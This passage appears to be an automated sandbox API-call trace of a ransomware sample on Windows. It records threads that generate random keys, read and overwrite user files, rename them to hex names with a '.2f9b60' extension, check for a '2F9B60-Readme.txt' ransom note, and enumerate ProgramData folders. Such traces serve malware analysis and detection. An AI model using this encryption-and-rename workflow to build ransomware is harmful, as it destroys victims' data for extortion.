_Dest=0x1ced565c, _Format="%c%c" | out: _Dest="8b") returned 2 [0133.868] sprintf (in: _Dest=0x1ced565e, _Format="%c%c" | out: _Dest="79") returned 2 [0133.868] sprintf (in: _Dest=0x1ced5660, _Format="%c%c" | out: _Dest="11") returned 2 [0133.868] sprintf (in: _Dest=0x1ced5662, _Format="%c%c" | out: _Dest="91") returned 2 [0133.868] sprintf (in: _Dest=0x1ced5664, _Format="%c%c" | out: _Dest="4c") returned 2 [0133.868] sprintf (in: _Dest=0x1ced5666, _Format="%c%c" | out: _Dest="27") returned 2 [0133.868] RtlInitAnsiString (in: DestinationString=0x2d82fb88, SourceString="8a8eb4df1af0f4b01eb20892b438047e78979ac7bc256708a4f28aeaed5b8b7911914c27" | out: DestinationString="8a8eb4df1af0f4b01eb20892b438047e78979ac7bc256708a4f28aeaed5b8b7911914c27") [0133.868] RtlAnsiStringToUnicodeString (in: DestinationString=0x2d82fb58, SourceString="8a8eb4df1af0f4b01eb20892b438047e78979ac7bc256708a4f28aeaed5b8b7911914c27", AllocateDestinationString=1 | out: DestinationString="8a8eb4df1af0f4b01eb20892b438047e78979ac7bc256708a4f28aeaed5b8b7911914c27") returned 0x0 [0133.868] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x92) returned 0x20508810 [0133.869] wcscat (in: _Dest=0x205088b0, _Source="8a8eb4df1af0f4b01e" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\42Pt\\8a8eb4df1af0f4b01e") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\42Pt\\8a8eb4df1af0f4b01e" [0133.869] wcscat (in: _Dest=0x205088b0, _Source=".2f9b60" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\42Pt\\8a8eb4df1af0f4b01e.2f9b60") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\42Pt\\8a8eb4df1af0f4b01e.2f9b60" [0133.869] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\42Pt\\8a8eb4df1af0f4b01e.2f9b60", NtPathName=0x2d82fb30, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\42Pt\\8a8eb4df1af0f4b01e.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0133.869] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa8) returned 0x202ac0b0 [0133.872] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202ac0b0) returned 1 [0133.872] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42051690) returned 1 [0133.872] NtQueryInformationFile (in: FileHandle=0x1b98, IoStatusBlock=0x2d82fb98, FileInformation=0x2d82fba8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2d82fb98, FileInformation=0x2d82fba8) returned 0x0 [0133.872] NtSetInformationFile (FileHandle=0x1b98, IoStatusBlock=0x2d82fb98, FileInformation=0x2d82fba8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0133.873] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x205088b0) returned 1 [0133.873] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20508810) returned 1 [0133.873] FlushFileBuffers (hFile=0x1b98) returned 1 [0138.532] CloseHandle (hObject=0x1b98) returned 1 [0138.622] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7c) returned 0x1cf4a7b0 [0138.622] wcscpy (in: _Dest=0x1cf4a7b0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\42Pt\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\42Pt\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\42Pt\\" [0138.622] wcscat (in: _Dest=0x1cf4a7b0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\42Pt\\2F9B60-Readme.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\42Pt\\2F9B60-Readme.txt" [0138.622] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\42Pt\\2F9B60-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\42pt\\2f9b60-readme.txt")) returned 0x20 [0139.147] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf4a7b0) returned 1 [0139.147] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202af580) returned 1 Thread: id = 1904 os_tid = 0x1080 [0133.875] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\42Pt\\ZgcFkRW hFa.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\42pt\\zgcfkrw hfa.mp3")) returned 0x20 [0133.875] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\42Pt\\ZgcFkRW hFa.mp3", dwFileAttributes=0x20) returned 1 [0133.875] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\42Pt\\ZgcFkRW hFa.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\42pt\\zgcfkrw hfa.mp3"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1b94 [0133.876] GetFileSizeEx (in: hFile=0x1b94, lpFileSize=0x2d8ff980 | out: lpFileSize=0x2d8ff980*=8800) returned 1 [0133.876] SetFilePointerEx (in: hFile=0x1b94, liDistanceToMove=0x225c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0133.876] ReadFile (in: hFile=0x1b94, lpBuffer=0x2d8ff900, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2d8ff948, lpOverlapped=0x0 | out: lpBuffer=0x2d8ff900*, lpNumberOfBytesRead=0x2d8ff948*=0x4, lpOverlapped=0x0) returned 1 [0133.877] SetFilePointerEx (in: hFile=0x1b94, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0133.877] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20267410 [0133.877] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20267350 [0133.877] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202672f0 [0133.877] NtQuerySystemTime (in: CurrentTime=0x2d8ff840 | out: CurrentTime=0x2d8ff840*=132462177391126000) returned 0x0 [0133.877] RtlRandomEx (in: Seed=0x2d8ff830 | out: Seed=0x2d8ff830) returned 0x2bef91ec [0133.877] RtlRandomEx (in: Seed=0x2d8ff830 | out: Seed=0x2d8ff830) returned 0x2af1c997 [0133.877] RtlRandomEx (in: Seed=0x2d8ff830 | out: Seed=0x2d8ff830) returned 0x5e44a752 [0133.877] RtlRandomEx (in: Seed=0x2d8ff830 | out: Seed=0x2d8ff830) returned 0x17de52b2 [0133.877] RtlRandomEx (in: Seed=0x2d8ff830 | out: Seed=0x2d8ff830) returned 0x50896590 [0133.877] RtlRandomEx (in: Seed=0x2d8ff830 | out: Seed=0x2d8ff830) returned 0x571e1cd0 [0133.877] RtlRandomEx (in: Seed=0x2d8ff830 | out: Seed=0x2d8ff830) returned 0x785e1e19 [0133.877] RtlRandomEx (in: Seed=0x2d8ff830 | out: Seed=0x2d8ff830) returned 0x1bb054e3 [0133.877] RtlRandomEx (in: Seed=0x2d8ff830 | out: Seed=0x2d8ff830) returned 0x575fd943 [0133.877] RtlRandomEx (in: Seed=0x2d8ff830 | out: Seed=0x2d8ff830) returned 0x3307ca93 [0133.877] RtlRandomEx (in: Seed=0x2d8ff830 | out: Seed=0x2d8ff830) returned 0x6c26dd1c [0133.877] RtlRandomEx (in: Seed=0x2d8ff830 | out: Seed=0x2d8ff830) returned 0x36f1dfc6 [0133.877] RtlRandomEx (in: Seed=0x2d8ff830 | out: Seed=0x2d8ff830) returned 0x5997d7f8 [0133.877] RtlRandomEx (in: Seed=0x2d8ff830 | out: Seed=0x2d8ff830) returned 0x6b8e842a [0133.877] RtlRandomEx (in: Seed=0x2d8ff830 | out: Seed=0x2d8ff830) returned 0x1ede6b23 [0133.877] RtlRandomEx (in: Seed=0x2d8ff830 | out: Seed=0x2d8ff830) returned 0x421c7c18 [0133.877] RtlRandomEx (in: Seed=0x2d8ff830 | out: Seed=0x2d8ff830) returned 0x4ee3c8b2 [0133.877] RtlRandomEx (in: Seed=0x2d8ff830 | out: Seed=0x2d8ff830) returned 0x7899ee1d [0133.877] RtlRandomEx (in: Seed=0x2d8ff830 | out: Seed=0x2d8ff830) returned 0x3186a81a [0133.878] RtlRandomEx (in: Seed=0x2d8ff830 | out: Seed=0x2d8ff830) returned 0x1c5bb7e3 [0133.878] RtlRandomEx (in: Seed=0x2d8ff830 | out: Seed=0x2d8ff830) returned 0x5018a15b [0133.878] RtlRandomEx (in: Seed=0x2d8ff830 | out: Seed=0x2d8ff830) returned 0x7a0d8a49 [0133.878] RtlRandomEx (in: Seed=0x2d8ff830 | out: Seed=0x2d8ff830) returned 0x7d8f228b [0133.878] RtlRandomEx (in: Seed=0x2d8ff830 | out: Seed=0x2d8ff830) returned 0x663d1def [0133.878] RtlRandomEx (in: Seed=0x2d8ff830 | out: Seed=0x2d8ff830) returned 0xc6ac2b [0133.878] RtlRandomEx (in: Seed=0x2d8ff830 | out: Seed=0x2d8ff830) returned 0x525e2f3c [0133.878] RtlRandomEx (in: Seed=0x2d8ff830 | out: Seed=0x2d8ff830) returned 0x6c766349 [0133.878] RtlRandomEx (in: Seed=0x2d8ff830 | out: Seed=0x2d8ff830) returned 0x1d071ae3 [0133.878] RtlRandomEx (in: Seed=0x2d8ff830 | out: Seed=0x2d8ff830) returned 0x768a87a7 [0133.878] RtlRandomEx (in: Seed=0x2d8ff830 | out: Seed=0x2d8ff830) returned 0x54b97b1e [0133.878] RtlRandomEx (in: Seed=0x2d8ff830 | out: Seed=0x2d8ff830) returned 0x164b67da [0133.878] RtlRandomEx (in: Seed=0x2d8ff830 | out: Seed=0x2d8ff830) returned 0x1dbc7201 [0133.889] ReadFile (in: hFile=0x1b94, lpBuffer=0x41ca6910, nNumberOfBytesToRead=0x2260, lpNumberOfBytesRead=0x2d8ff830, lpOverlapped=0x0 | out: lpBuffer=0x41ca6910*, lpNumberOfBytesRead=0x2d8ff830*=0x2260, lpOverlapped=0x0) returned 1 [0133.890] SetFilePointerEx (in: hFile=0x1b94, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0133.890] WriteFile (in: hFile=0x1b94, lpBuffer=0x41caa520*, nNumberOfBytesToWrite=0x2260, lpNumberOfBytesWritten=0x2d8ff834, lpOverlapped=0x0 | out: lpBuffer=0x41caa520*, lpNumberOfBytesWritten=0x2d8ff834*=0x2260, lpOverlapped=0x0) returned 1 [0133.893] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20267410 [0133.893] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202672f0 [0133.893] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202672f0) returned 1 [0133.893] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41caa520) returned 1 [0133.893] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41ca6910) returned 1 [0133.893] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79ddf0) returned 1 [0133.893] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97d00) returned 1 [0133.893] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2c) returned 0x1cd9fb30 [0133.893] SetFilePointerEx (in: hFile=0x1b94, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0133.893] WriteFile (in: hFile=0x1b94, lpBuffer=0x166ce0*, nNumberOfBytesToWrite=0x110, lpNumberOfBytesWritten=0x2d8ff950, lpOverlapped=0x0 | out: lpBuffer=0x166ce0*, lpNumberOfBytesWritten=0x2d8ff950*=0x110, lpOverlapped=0x0) returned 1 [0133.899] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97d00 [0133.899] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79ddf0 [0133.899] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202673b0 [0133.899] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202673b0) returned 1 [0133.899] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1e) returned 0x202673b0 [0133.899] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20267440 [0133.899] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20267380 [0133.900] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20267380) returned 1 [0133.900] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79ddf0) returned 1 [0133.900] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97d00) returned 1 [0133.900] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3d) returned 0x1cd97d00 [0133.900] sprintf (in: _Dest=0x1cd97d00, _Format="%c%c" | out: _Dest="fa") returned 2 [0133.900] sprintf (in: _Dest=0x1cd97d02, _Format="%c%c" | out: _Dest="29") returned 2 [0133.900] sprintf (in: _Dest=0x1cd97d04, _Format="%c%c" | out: _Dest="c1") returned 2 [0133.900] sprintf (in: _Dest=0x1cd97d06, _Format="%c%c" | out: _Dest="33") returned 2 [0133.900] sprintf (in: _Dest=0x1cd97d08, _Format="%c%c" | out: _Dest="ea") returned 2 [0133.900] sprintf (in: _Dest=0x1cd97d0a, _Format="%c%c" | out: _Dest="15") returned 2 [0133.900] sprintf (in: _Dest=0x1cd97d0c, _Format="%c%c" | out: _Dest="94") returned 2 [0133.900] sprintf (in: _Dest=0x1cd97d0e, _Format="%c%c" | out: _Dest="4f") returned 2 [0133.900] sprintf (in: _Dest=0x1cd97d10, _Format="%c%c" | out: _Dest="3c") returned 2 [0133.900] sprintf (in: _Dest=0x1cd97d12, _Format="%c%c" | out: _Dest="f7") returned 2 [0133.900] sprintf (in: _Dest=0x1cd97d14, _Format="%c%c" | out: _Dest="c9") returned 2 [0133.900] sprintf (in: _Dest=0x1cd97d16, _Format="%c%c" | out: _Dest="ab") returned 2 [0133.900] sprintf (in: _Dest=0x1cd97d18, _Format="%c%c" | out: _Dest="f2") returned 2 [0133.900] sprintf (in: _Dest=0x1cd97d1a, _Format="%c%c" | out: _Dest="cf") returned 2 [0133.900] sprintf (in: _Dest=0x1cd97d1c, _Format="%c%c" | out: _Dest="1a") returned 2 [0133.900] sprintf (in: _Dest=0x1cd97d1e, _Format="%c%c" | out: _Dest="eb") returned 2 [0133.900] sprintf (in: _Dest=0x1cd97d20, _Format="%c%c" | out: _Dest="a4") returned 2 [0133.901] sprintf (in: _Dest=0x1cd97d22, _Format="%c%c" | out: _Dest="2b") returned 2 [0133.901] sprintf (in: _Dest=0x1cd97d24, _Format="%c%c" | out: _Dest="f9") returned 2 [0133.901] sprintf (in: _Dest=0x1cd97d26, _Format="%c%c" | out: _Dest="54") returned 2 [0133.901] sprintf (in: _Dest=0x1cd97d28, _Format="%c%c" | out: _Dest="46") returned 2 [0133.901] sprintf (in: _Dest=0x1cd97d2a, _Format="%c%c" | out: _Dest="4e") returned 2 [0133.901] sprintf (in: _Dest=0x1cd97d2c, _Format="%c%c" | out: _Dest="52") returned 2 [0133.901] sprintf (in: _Dest=0x1cd97d2e, _Format="%c%c" | out: _Dest="6b") returned 2 [0133.901] sprintf (in: _Dest=0x1cd97d30, _Format="%c%c" | out: _Dest="a7") returned 2 [0133.901] sprintf (in: _Dest=0x1cd97d32, _Format="%c%c" | out: _Dest="95") returned 2 [0133.901] sprintf (in: _Dest=0x1cd97d34, _Format="%c%c" | out: _Dest="a5") returned 2 [0133.901] sprintf (in: _Dest=0x1cd97d36, _Format="%c%c" | out: _Dest="7a") returned 2 [0133.901] sprintf (in: _Dest=0x1cd97d38, _Format="%c%c" | out: _Dest="44") returned 2 [0133.901] sprintf (in: _Dest=0x1cd97d3a, _Format="%c%c" | out: _Dest="ac") returned 2 [0133.901] RtlInitAnsiString (in: DestinationString=0x2d8ff9c8, SourceString="fa29c133ea15944f3cf7c9abf2cf1aeba42bf954464e526ba795a57a44ac" | out: DestinationString="fa29c133ea15944f3cf7c9abf2cf1aeba42bf954464e526ba795a57a44ac") [0133.901] RtlAnsiStringToUnicodeString (in: DestinationString=0x2d8ff998, SourceString="fa29c133ea15944f3cf7c9abf2cf1aeba42bf954464e526ba795a57a44ac", AllocateDestinationString=1 | out: DestinationString="fa29c133ea15944f3cf7c9abf2cf1aeba42bf954464e526ba795a57a44ac") returned 0x0 [0133.901] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7a) returned 0x202a5b20 [0133.901] wcscat (in: _Dest=0x202a5730, _Source="fa29c133ea15944" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\42Pt\\fa29c133ea15944") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\42Pt\\fa29c133ea15944" [0133.901] wcscat (in: _Dest=0x202a5730, _Source=".2f9b60" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\42Pt\\fa29c133ea15944.2f9b60") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\42Pt\\fa29c133ea15944.2f9b60" [0133.901] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\42Pt\\fa29c133ea15944.2f9b60", NtPathName=0x2d8ff970, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\42Pt\\fa29c133ea15944.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0133.901] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa2) returned 0x202ac0b0 [0133.904] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202ac0b0) returned 1 [0133.904] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42051690) returned 1 [0133.904] NtQueryInformationFile (in: FileHandle=0x1b94, IoStatusBlock=0x2d8ff9d8, FileInformation=0x2d8ff9e8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2d8ff9d8, FileInformation=0x2d8ff9e8) returned 0x0 [0133.904] NtSetInformationFile (FileHandle=0x1b94, IoStatusBlock=0x2d8ff9d8, FileInformation=0x2d8ff9e8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0133.905] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a5730) returned 1 [0133.905] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a5b20) returned 1 [0133.905] FlushFileBuffers (hFile=0x1b94) returned 1 [0138.532] CloseHandle (hObject=0x1b94) returned 1 [0138.623] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7c) returned 0x1cf4a720 [0138.623] wcscpy (in: _Dest=0x1cf4a720, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\42Pt\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\42Pt\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\42Pt\\" [0138.623] wcscat (in: _Dest=0x1cf4a720, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\42Pt\\2F9B60-Readme.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\42Pt\\2F9B60-Readme.txt" [0138.623] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\42Pt\\2F9B60-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\42pt\\2f9b60-readme.txt")) returned 0x20 [0139.146] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf4a720) returned 1 [0139.146] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20504310) returned 1 Thread: id = 1905 os_tid = 0x1084 [0133.907] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79ddf0 [0133.907] wcscpy (in: _Dest=0x1b79ddf0, _Source="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\ActivityLog" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\ActivityLog") returned="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\ActivityLog" [0133.907] wcscat (in: _Dest=0x1b79ddf0, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\ActivityLog\\") returned="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\ActivityLog\\" [0133.907] wcscat (in: _Dest=0x1b79ddf0, _Source="*" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\ActivityLog\\*") returned="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\ActivityLog\\*" [0133.907] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1ce21050 [0133.908] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\ActivityLog\\*", lpFindFileData=0x1ce21050 | out: lpFindFileData=0x1ce21050*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7fffaad0, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7fffaad0, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ced5620 [0133.909] wcscmp (_String1=".", _String2=".") returned 0 [0133.909] FindNextFileW (in: hFindFile=0x1ced5620, lpFindFileData=0x1ce21050 | out: lpFindFileData=0x1ce21050*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7fffaad0, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7fffaad0, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0133.909] wcscmp (_String1="..", _String2=".") returned 1 [0133.909] wcscmp (_String1="..", _String2="..") returned 0 [0133.909] FindNextFileW (in: hFindFile=0x1ced5620, lpFindFileData=0x1ce21050 | out: lpFindFileData=0x1ce21050*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7fffaad0, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7fffaad0, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0133.909] FindClose (in: hFindFile=0x1ced5620 | out: hFindFile=0x1ced5620) returned 1 [0133.911] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce21050) returned 1 [0133.911] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79ddf0) returned 1 [0133.911] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869440) returned 1 Thread: id = 1906 os_tid = 0xd80 [0133.918] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7c) returned 0x202a5b20 [0133.918] wcscpy (in: _Dest=0x202a5b20, _Source="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\Common Coverpages" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\Common Coverpages") returned="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\Common Coverpages" [0133.918] wcscat (in: _Dest=0x202a5b20, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\Common Coverpages\\") returned="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\Common Coverpages\\" [0133.918] wcscat (in: _Dest=0x202a5b20, _Source="*" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\Common Coverpages\\*") returned="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\Common Coverpages\\*" [0133.918] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1ce21050 [0133.918] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\Common Coverpages\\*", lpFindFileData=0x1ce21050 | out: lpFindFileData=0x1ce21050*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1d91b669, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1d91b669, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ced5620 [0133.920] wcscmp (_String1=".", _String2=".") returned 0 [0133.920] FindNextFileW (in: hFindFile=0x1ced5620, lpFindFileData=0x1ce21050 | out: lpFindFileData=0x1ce21050*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1d91b669, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1d91b669, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0133.920] wcscmp (_String1="..", _String2=".") returned 1 [0133.920] wcscmp (_String1="..", _String2="..") returned 0 [0133.920] FindNextFileW (in: hFindFile=0x1ced5620, lpFindFileData=0x1ce21050 | out: lpFindFileData=0x1ce21050*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x1d91b669, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x21cf2d38, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1d91b669, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0133.920] wcscmp (_String1="en-US", _String2=".") returned 1 [0133.920] wcscmp (_String1="en-US", _String2="..") returned 1 [0133.920] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x84) returned 0x202a5730 [0133.920] wcscpy (in: _Dest=0x202a5730, _Source="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\Common Coverpages" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\Common Coverpages") returned="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\Common Coverpages" [0133.920] wcscat (in: _Dest=0x202a5730, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\Common Coverpages\\") returned="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\Common Coverpages\\" [0133.920] wcscat (in: _Dest=0x202a5730, _Source="en-US" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\Common Coverpages\\en-US") returned="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\Common Coverpages\\en-US" [0150.952] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x202a5730, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1abc [0150.953] FindNextFileW (in: hFindFile=0x1ced5620, lpFindFileData=0x1ce21050 | out: lpFindFileData=0x1ce21050*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x1d91b669, 